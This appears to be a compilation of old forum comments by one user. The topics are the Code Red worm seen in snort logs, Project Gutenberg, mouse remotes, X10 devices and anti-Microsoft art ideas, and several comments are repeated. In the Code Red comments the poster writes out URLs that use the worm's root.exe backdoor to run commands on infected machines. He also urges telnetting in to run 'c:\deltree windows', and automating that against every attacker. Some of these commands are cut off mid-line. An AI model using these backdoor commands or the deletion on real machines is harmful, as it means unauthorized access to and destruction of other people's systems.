Checking through my snort logs I only see this new variation making attempts on a very small set of the IP addresses in my netblock. After poking around a little I found that ALL of these machines were running services on port 80. Has anyone else seen this? Is this new version checking to see if the service exists before it sends the http request?
I see a couple people saying they are getting a lot more of these hits than the original code red. Considering that someone earlier posted that it attacks the largest percentage of the time in its own netblock I'm happy to have my server living in an exclusivly linux netblock. I've only seen one of this new variant so far (from 61.211.105.21 if anyone's interested.) According to my snort logs its come accross my/24 network only 18 times. It pays to have nice neighbors.
This is the best question I've seen yet. What would happen if IBM would put it's marketing machine against MS' Marketing machine. Sure RMS and kin can speak out against Munide and company, but without A large, well known, worldwide respected company like big blue behind them only us small folks really take notice. The ones who need to hear the "message" wouldn't even know who RMS is.
This is one of the best ideas I've read yet. Any/. students out there should post a note on message boards around campus when it comes time to buy books. Maybe you could even talk to some English/Literature teachers. I know mine always complained about the price of books. If they new about PG they might encourage the students to check it out, and possibly rearange their curriculum to include more freely available texts. (Of course we know this one won't happen... College profs NEVER change the curriculum)
Well I'm not in a spot to do much in that area, but I've been a PG lover for many years, so you can bet I'll be including a link to them from my page.
If you don't like it... Don't read it... Dozing www.dozings.com The most fun on the web.
Yeah The mouse remote is great, except the RF coming out of my computer causes mine to jump around the screen on it's own about once a minute (but It does allow me to always appear active with the alladvantage viewbar, nothing like earning money while you sleep) I was also dissapointed that the mouse remote wasn't learning.
I haven't really looked into it, but has anyone developed any linux software for the advanced functions of the mouse remote?
I like where this idea is going. How about a penguin taking a hammer to a window with the BSOD on it. Since we've got a window, how about we add in the open door with Binary 1's and 0's from the first reply. While we're incorperating other posts let's use the penguin with the rocket launcher instead of a hammer.
Or maybe a "ten ton gorilla" with the BSOD grafted to it's surface, and the penguin could pin it to the ground... (Or we could add in the rocket launcher again, and blow the gorilla's head off)
I'm glad someone finnaly mentioned X10. I purchased the X10 programmable super remote on sale for about $25 and not only can i program it for ANY infared device, but I can also turn on/off lights appliance or anything else I can dream of.
you can check it out at http://www.x10.com They even have free shipping.
Ahh. Sorry for the mistake. I'm just a linux bum. I can't afford that expensive Windows junk.
Ok folks. Promise to be good with the following.
r t+ http://www.digitalisland.com/codered/
/scripts/root.exe?+/c+start+http://www.digitalisla nd.com/codered/
If you use the following it should pop up a web browser on the screen of the infected computer (of course replace xxx.xxx... with the infected IP):
http://xxx.xxx.xxx.xxx/scripts/root.exe?+/c+sta
alternativley you can telnet into port 80 and type:
GET
Now create them perl scripts and fix the world.
Checking through my snort logs I only see this new variation making attempts on a very small set of the IP addresses in my netblock. After poking around a little I found that ALL of these machines were running services on port 80. Has anyone else seen this? Is this new version checking to see if the service exists before it sends the http request?
Wouldn't the best and quickest fix be to telnet into the machines and give 'em the old:
c:\deltree windows
maybe we could even install scripts on our own servers to automatically do this each time we recieve a new attack. Automated windows repair solutions.
I see a couple people saying they are getting a lot more of these hits than the original code red. Considering that someone earlier posted that it attacks the largest percentage of the time in its own netblock I'm happy to have my server living in an exclusivly linux netblock. I've only seen one of this new variant so far (from 61.211.105.21 if anyone's interested.) According to my snort logs its come accross my /24 network only 18 times. It pays to have nice neighbors.
This is the best question I've seen yet. What would happen if IBM would put it's marketing machine against MS' Marketing machine. Sure RMS and kin can speak out against Munide and company, but without A large, well known, worldwide respected company like big blue behind them only us small folks really take notice. The ones who need to hear the "message" wouldn't even know who RMS is.
It seems like people are coming out of the woodwork to post on this one.
This is one of the best ideas I've read yet. Any /. students out there should post a note on message boards around campus when it comes time to buy books. Maybe you could even talk to some English/Literature teachers. I know mine always complained about the price of books. If they new about PG they might encourage the students to check it out, and possibly rearange their curriculum to include more freely available texts. (Of course we know this one won't happen... College profs NEVER change the curriculum)
Well I'm not in a spot to do much in that area, but I've been a PG lover for many years, so you can bet I'll be including a link to them from my page.
If you don't like it... Don't read it...
Dozing
www.dozings.com
The most fun on the web.
Yeah The mouse remote is great, except the RF coming out of my computer causes mine to jump around the screen on it's own about once a minute (but It does allow me to always appear active with the alladvantage viewbar, nothing like earning money while you sleep) I was also dissapointed that the mouse remote wasn't learning.
I haven't really looked into it, but has anyone developed any linux software for the advanced functions of the mouse remote?
Dozing
http://www.dozings.com "The Fun is only a click away"
I like where this idea is going. How about a penguin taking a hammer to a window with the BSOD on it. Since we've got a window, how about we add in the open door with Binary 1's and 0's from the first reply. While we're incorperating other posts let's use the penguin with the rocket launcher instead of a hammer.
Or maybe a "ten ton gorilla" with the BSOD grafted to it's surface, and the penguin could pin it to the ground... (Or we could add in the rocket launcher again, and blow the gorilla's head off)
Dozing,
http://www.dozings.com/
"Just because I said it, doesn't mean i'm responsible"
I'm glad someone finnaly mentioned X10. I purchased the X10 programmable super remote on sale for about $25 and not only can i program it for ANY infared device, but I can also turn on/off lights appliance or anything else I can dream of.
you can check it out at http://www.x10.com They even have free shipping.
Dozing
Webmaster for Dozing's Entertainment Warehouse
http://www.dozings.com/